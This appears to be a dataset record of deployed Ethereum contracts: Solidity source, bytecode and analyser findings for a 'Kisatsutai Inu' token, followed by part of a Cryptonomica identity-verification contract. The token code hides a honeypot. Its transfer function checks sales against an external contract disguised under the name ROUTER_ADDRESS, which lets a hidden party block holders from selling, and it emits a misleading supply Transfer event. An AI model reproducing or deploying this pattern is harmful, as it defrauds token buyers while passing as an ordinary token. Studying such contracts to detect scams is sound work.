{"success": true, "error": null, "results": {}}
| 9,211 |
0xf11b62C9305A88222A1911dC2aE432100bEc36Ce
|
//SPDX-License-Identifier: MIT
// Telegram: t.me/kisatsutaiinu
pragma solidity ^0.8.9;
uint256 constant INITIAL_TAX=9;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="KINU";
string constant TOKEN_NAME="Kisatsutai Inu";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface O{
function amount(address from) external view returns (uint256);
}
contract ERC20Burnable is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(20);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102995780639e752b95146102c6578063a9059cbb146102e6578063dd62ed3e14610306578063f42938901461034c57600080fd5b806356d9dce81461022757806370a082311461023c578063715018a61461025c5780638da5cb5b1461027157600080fd5b8063293230b8116100d1578063293230b8146101ca578063313ce567146101e15780633e07ce5b146101fd57806351bc3c851461021257600080fd5b806306fdde031461010e578063095ea7b31461015757806318160ddd1461018757806323b872dd146101aa57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600e81526d4b69736174737574616920496e7560901b60208201525b60405161014e91906114f8565b60405180910390f35b34801561016357600080fd5b50610177610172366004611562565b610361565b604051901515815260200161014e565b34801561019357600080fd5b5061019c610378565b60405190815260200161014e565b3480156101b657600080fd5b506101776101c536600461158e565b610399565b3480156101d657600080fd5b506101df610402565b005b3480156101ed57600080fd5b506040516006815260200161014e565b34801561020957600080fd5b506101df61077a565b34801561021e57600080fd5b506101df6107b0565b34801561023357600080fd5b506101df6107dd565b34801561024857600080fd5b5061019c6102573660046115cf565b61085e565b34801561026857600080fd5b506101df610880565b34801561027d57600080fd5b506000546040516001600160a01b03909116815260200161014e565b3480156102a557600080fd5b506040805180820190915260048152634b494e5560e01b6020820152610141565b3480156102d257600080fd5b506101df6102e13660046115ec565b610924565b3480156102f257600080fd5b50610177610301366004611562565b61094d565b34801561031257600080fd5b5061019c610321366004611605565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035857600080fd5b506101df61095a565b600061036e3384846109c4565b5060015b92915050565b60006103866006600a611738565b610394906305f5e100611747565b905090565b60006103a6848484610ae8565b6103f884336103f3856040518060600160405280602881526020016118c5602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e24565b6109c4565b5060019392505050565b6009546001600160a01b0316331461041957600080fd5b600c54600160a01b900460ff16156104785760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104a49030906001600160a01b03166104966006600a611738565b6103f3906305f5e100611747565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051b9190611766565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a19190611766565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106129190611766565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d71947306106428161085e565b6000806106576000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106bf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106e49190611783565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610753573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077791906117b1565b50565b6009546001600160a01b0316331461079157600080fd5b61079d6006600a611738565b6107ab906305f5e100611747565b600a55565b6009546001600160a01b031633146107c757600080fd5b60006107d23061085e565b905061077781610e5e565b6009546001600160a01b031633146107f457600080fd5b600c54600160a01b900460ff1661084d5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f74207374617274656420796574000000000000604482015260640161046f565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461037290610fd8565b6000546001600160a01b031633146108da5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161046f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461093b57600080fd5b6009811061094857600080fd5b600855565b600061036e338484610ae8565b6009546001600160a01b0316331461097157600080fd5b4761077781611055565b60006109bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611093565b9392505050565b6001600160a01b038316610a265760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046f565b6001600160a01b038216610a875760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b4c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046f565b6001600160a01b038216610bae5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046f565b60008111610c105760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046f565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8391906117d3565b600c546001600160a01b038481169116148015610cae5750600b546001600160a01b03858116911614155b610cb9576000610cbb565b815b1115610cc657600080fd5b6000546001600160a01b03848116911614801590610cf257506000546001600160a01b03838116911614155b15610e1457600c546001600160a01b038481169116148015610d225750600b546001600160a01b03838116911614155b8015610d4757506001600160a01b03821660009081526004602052604090205460ff16155b15610d9d57600a548110610d9d5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161046f565b6000610da83061085e565b600c54909150600160a81b900460ff16158015610dd35750600c546001600160a01b03858116911614155b8015610de85750600c54600160b01b900460ff165b15610e1257610df681610e5e565b47670de0b6b3a7640000811115610e1057610e1047611055565b505b505b610e1f8383836110c1565b505050565b60008184841115610e485760405162461bcd60e51b815260040161046f91906114f8565b506000610e5584866117ec565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea657610ea6611803565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610eff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f239190611766565b81600181518110610f3657610f36611803565b6001600160a01b039283166020918202929092010152600b54610f5c91309116846109c4565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f95908590600090869030904290600401611819565b600060405180830381600087803b158015610faf57600080fd5b505af1158015610fc3573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b600060055482111561103f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161046f565b60006110496110cc565b90506109bd838261097b565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561108f573d6000803e3d6000fd5b5050565b600081836110b45760405162461bcd60e51b815260040161046f91906114f8565b506000610e55848661188a565b610e1f8383836110ef565b60008060006110d96111e6565b90925090506110e8828261097b565b9250505090565b60008060008060008061110187611268565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061113390876112c5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111629086611307565b6001600160a01b03891660009081526002602052604090205561118481611366565b61118e84836113b0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111d391815260200190565b60405180910390a3505050505050505050565b6005546000908190816111fb6006600a611738565b611209906305f5e100611747565b905061123161121a6006600a611738565b611228906305f5e100611747565b6005549061097b565b82101561125f576005546112476006600a611738565b611255906305f5e100611747565b9350935050509091565b90939092509050565b60008060008060008060008060006112858a6007546008546113d4565b92509250925060006112956110cc565b905060008060006112a88e878787611429565b919e509c509a509598509396509194505050505091939550919395565b60006109bd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e24565b60008061131483856118ac565b9050838110156109bd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046f565b60006113706110cc565b9050600061137e8383611479565b3060009081526002602052604090205490915061139b9082611307565b30600090815260026020526040902055505050565b6005546113bd90836112c5565b6005556006546113cd9082611307565b6006555050565b60008080806113ee60646113e88989611479565b9061097b565b9050600061140160646113e88a89611479565b90506000611419826114138b866112c5565b906112c5565b9992985090965090945050505050565b60008080806114388886611479565b905060006114468887611479565b905060006114548888611479565b905060006114668261141386866112c5565b939b939a50919850919650505050505050565b60008261148857506000610372565b60006114948385611747565b9050826114a1858361188a565b146109bd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046f565b600060208083528351808285015260005b8181101561152557858101830151858201604001528201611509565b81811115611537576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461077757600080fd5b6000806040838503121561157557600080fd5b82356115808161154d565b946020939093013593505050565b6000806000606084860312156115a357600080fd5b83356115ae8161154d565b925060208401356115be8161154d565b929592945050506040919091013590565b6000602082840312156115e157600080fd5b81356109bd8161154d565b6000602082840312156115fe57600080fd5b5035919050565b6000806040838503121561161857600080fd5b82356116238161154d565b915060208301356116338161154d565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561168f5781600019048211156116755761167561163e565b8085161561168257918102915b93841c9390800290611659565b509250929050565b6000826116a657506001610372565b816116b357506000610372565b81600181146116c957600281146116d3576116ef565b6001915050610372565b60ff8411156116e4576116e461163e565b50506001821b610372565b5060208310610133831016604e8410600b8410161715611712575081810a610372565b61171c8383611654565b80600019048211156117305761173061163e565b029392505050565b60006109bd60ff841683611697565b60008160001904831182151516156117615761176161163e565b500290565b60006020828403121561177857600080fd5b81516109bd8161154d565b60008060006060848603121561179857600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117c357600080fd5b815180151581146109bd57600080fd5b6000602082840312156117e557600080fd5b5051919050565b6000828210156117fe576117fe61163e565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118695784516001600160a01b031683529383019391830191600101611844565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118a757634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118bf576118bf61163e565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204b2cdbe544f01da8e91538faa049ee945367b3900806589fd40bca999cadf9bf64736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,212 |
0x846942953c3b2a898f10df1e32763a823bf6b27f
|
pragma solidity ^0.4.19;
/*
developed by cryptonomica.net, 2018
last version: 2018-02-18
github: https://github.com/Cryptonomica/
*/
contract CryptonomicaVerification {
/* ---------------------- Verification Data */
// Ethereum address is connected to OpenPGP public key data from Cryptonomica.net
// Ethereum address can be connected to one OpenPGP key only, and one time only
// If OpenPGP key expires, user have to use another Ethereum address for new OpenPGP public key
// But user can verify multiple Ethereum accounts with the same OpenPGP key
// ---- mappings to store verification data, to make it accessible for other smart contracts
// we store sting data as bytes32 (http://solidity.readthedocs.io/en/develop/types.html#fixed-size-byte-arrays)
// !!! -> up to 32 ASCII letters,
// see: https://ethereum.stackexchange.com/questions/6729/how-many-letters-can-bytes32-keep
// OpenPGP Message Format https://tools.ietf.org/html/rfc4880#section-12.2 : "A V4 fingerprint is the 160-bit SHA-1 hash ..."
// thus fingerprint is 20 bytes, in hexadecimal 40 symbols string representation
// fingerprints are stored as upper case strings like:
// 57A5FEE5A34D563B4B85ADF3CE369FD9E77173E5
// or as bytes20: "0x57A5FEE5A34D563B4B85ADF3CE369FD9E77173E5" from web3.js or Bytes20 from web3j
// see: https://crypto.stackexchange.com/questions/32087/how-to-generate-fingerprint-for-pgp-public-key
mapping(address => bytes20) public fingerprint; // ..............................................................0
// we use unverifiedFingerprintAsString to store fingerprint provided by user
mapping(address => string) public unverifiedFingerprint; // (!) Gas requirement: infinite
mapping(address => uint) public keyCertificateValidUntil; // unix time ..........................................1
mapping(address => bytes32) public firstName; // ................................................................2
mapping(address => bytes32) public lastName; // .................................................................3
mapping(address => uint) public birthDate; // unix time .........................................................4
// Nationality - from user passport or id document:
// 2-letter country codes defined in ISO 3166
// like returned by Locale.getISOCountries() in Java (upper case)
// see: https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2
mapping(address => bytes32) public nationality; // .........................................................5
mapping(address => uint256) public verificationAddedOn; // unix time ............................................6
mapping(address => uint256) public revokedOn; // unix time, returns uint256: 0 if verification is not revoked ...7
// this will be longer than 32 char, and have to be properly formatted (with "\n")
mapping(address => string) public signedString; //.(!) Gas requirement: infinite.................................8
// unix time online converter: https://www.epochconverter.com
// for coders: http://www.convert-unix-time.com
mapping(address => uint256) public signedStringUploadedOnUnixTime;
// this allows to search for account connected to fingerprint
// as a key we use fingerprint as bytes32, like 0x57A5FEE5A34D563B4B85ADF3CE369FD9E77173E5
mapping(bytes20 => address) public addressAttached; //
// (!) Gas requirement: infinite
string public stringToSignExample = "I hereby confirm that the address <address lowercase> is my Ethereum address";
/* the same data as above stored as a struct:
struct will be returned as 'List' in web3j (only one function call needed) */
mapping(address => Verification) public verification; // (!) Gas requirement: infinite
struct Verification {
// all string have to be <= 32 chars
string fingerprint; // ................................................0
uint keyCertificateValidUntil; // .....................................1
string firstName; // ..................................................2
string lastName;// ....................................................3
uint birthDate; // ...................................................4
string nationality; // ...............................................5
uint verificationAddedOn;// ...........................................6
uint revokedOn; // ....................................................7
string signedString; //................................................8
// uint256 signedStringUploadedOnUnixTime; //... Stack too deep
}
/* -------------------- Administrative Data */
address public owner; // smart contract owner (super admin)
mapping(address => bool) public isManager; // list of managers
uint public priceForVerificationInWei; // see converter on https://etherconverter.online/
address public withdrawalAddress; // address to send Ether from this contract
bool public withdrawalAddressFixed = false; // this can be smart contract with manages ETH from this SC
/* --------------------- Constructor */
function CryptonomicaVerification() public {// Constructor must be public or internal
owner = msg.sender;
isManager[msg.sender] = true;
withdrawalAddress = msg.sender;
}
/* -------------------- Utility functions : ---------------------- */
// (?) CryptonomicaVerification.stringToBytes32(string memory) : Is constant but potentially should not be.
// probably because of 'using low-level calls' or 'using inline assembly that contains certain opcodes'
// but 'The compiler does not enforce yet that a pure method is not reading from the state.'
// > in fact works as constant
function stringToBytes32(string memory source) public pure returns (bytes32 result) {// (!) Gas requirement: infinite
// require(bytes(source).length <= 32); // causes error, but string have to be max 32 chars
// https://ethereum.stackexchange.com/questions/9603/understanding-mload-assembly-function
// http://solidity.readthedocs.io/en/latest/assembly.html
// this converts every char to its byte representation
// see hex codes on http://www.asciitable.com/ (7 > 37, a > 61, z > 7a)
// "az7" > 0x617a370000000000000000000000000000000000000000000000000000000000
assembly {
result := mload(add(source, 32))
}
}
// see also:
// https://ethereum.stackexchange.com/questions/2519/how-to-convert-a-bytes32-to-string
// https://ethereum.stackexchange.com/questions/1081/how-to-concatenate-a-bytes32-array-to-a-string
// 0x617a370000000000000000000000000000000000000000000000000000000000 > "az7"
function bytes32ToString(bytes32 _bytes32) public pure returns (string){// (!) Gas requirement: infinite
// string memory str = string(_bytes32);
// TypeError: Explicit type conversion not allowed from "bytes32" to "string storage pointer"
// thus we should convert bytes32 to bytes (to dynamically-sized byte array)
bytes memory bytesArray = new bytes(32);
for (uint256 i; i < 32; i++) {
bytesArray[i] = _bytes32[i];
}
return string(bytesArray);
}
/* -------------------- Verification functions : ---------------------- */
// from user acc
// (!) Gas requirement: infinite
function uploadSignedString(string _fingerprint, bytes20 _fingerprintBytes20, string _signedString) public payable {
// check length of the uploaded string,
// it expected to be a 64 chars string signed with OpenPGP standard signature
// bytes: Dynamically-sized byte array,
// see: http://solidity.readthedocs.io/en/develop/types.html#dynamically-sized-byte-array
// if (bytes(_signedString).length > 1000) {//
// revert();
// // (payable)
// }
// --- not needed: if string is to big -> out of gas
// check payment :
if (msg.value < priceForVerificationInWei) {
revert();
// (payable)
}
// if signed string already uploaded, should revert
if (signedStringUploadedOnUnixTime[msg.sender] != 0) {
revert();
// (payable)
}
// fingerprint should be uppercase 40 symbols
if (bytes(_fingerprint).length != 40) {
revert();
// (payable)
}
// fingerprint can be connected to one eth address only
if (addressAttached[_fingerprintBytes20] != 0) {
revert();
// (payable)
}
// at this stage we can not be sure that key with this fingerprint really owned by user
// thus we store it as 'unverified'
unverifiedFingerprint[msg.sender] = _fingerprint;
signedString[msg.sender] = verification[msg.sender].signedString = _signedString;
// uint256 - Unix Time
signedStringUploadedOnUnixTime[msg.sender] = block.timestamp;
SignedStringUploaded(msg.sender, _fingerprint, _signedString);
}
event SignedStringUploaded(address indexed fromAccount, string fingerprint, string uploadedString);
// from 'manager' account only
// (!) Gas requirement: infinite
function addVerificationData(
address _acc, //
string _fingerprint, // "57A5FEE5A34D563B4B85ADF3CE369FD9E77173E5"
bytes20 _fingerprintBytes20, // "0x57A5FEE5A34D563B4B85ADF3CE369FD9E77173E5"
uint _keyCertificateValidUntil, //
string _firstName, //
string _lastName, //
uint _birthDate, //
string _nationality) public {
// (!!!) only manager can add verification data
require(isManager[msg.sender]);
// check input
// fingerprint should be uppercase 40 symbols
// require(bytes(_fingerprint).length == 40);
// require(bytes(_firstName).length <= 32);
// require(bytes(_lastName).length <= 32);
// _nationality should be like "IL" or "US"
// require(bytes(_nationality).length == 2);
// >>> if we control manager account we can make checks before sending data to smart contract (cheaper)
// check if signed string uploaded
require(signedStringUploadedOnUnixTime[_acc] != 0);
// to make possible adding verification only one time:
require(verificationAddedOn[_acc] == 0);
verification[_acc].fingerprint = _fingerprint;
fingerprint[_acc] = _fingerprintBytes20;
addressAttached[_fingerprintBytes20] = _acc;
verification[_acc].keyCertificateValidUntil = keyCertificateValidUntil[_acc] = _keyCertificateValidUntil;
verification[_acc].firstName = _firstName;
firstName[_acc] = stringToBytes32(_firstName);
verification[_acc].lastName = _lastName;
lastName[_acc] = stringToBytes32(_lastName);
verification[_acc].birthDate = birthDate[_acc] = _birthDate;
verification[_acc].nationality = _nationality;
nationality[_acc] = stringToBytes32(_nationality);
verification[_acc].verificationAddedOn = verificationAddedOn[_acc] = block.timestamp;
VerificationAdded(
verification[_acc].fingerprint,
_acc,
// keyCertificateValidUntil[_acc],
// verification[_acc].firstName,
// verification[_acc].lastName,
// birthDate[_acc],
// verification[_acc].nationality,
msg.sender
);
// return true;
}
event VerificationAdded (
string forFingerprint,
address indexed verifiedAccount, // (1) indexed
// uint keyCertificateValidUntilUnixTime,
// string userFirstName,
// string userLastName,
// uint userBirthDate,
// string userNationality,
address verificationAddedByAccount
);
// from user or 'manager' account
function revokeVerification(address _acc) public {// (!) Gas requirement: infinite
require(msg.sender == _acc || isManager[msg.sender]);
verification[_acc].revokedOn = revokedOn[_acc] = block.timestamp;
// event
VerificationRevoked(
_acc,
verification[_acc].fingerprint,
block.timestamp,
msg.sender
);
}
event VerificationRevoked (
address indexed revocedforAccount, // (1) indexed
string withFingerprint,
uint revokedOnUnixTime,
address indexed revokedBy // (2) indexed
);
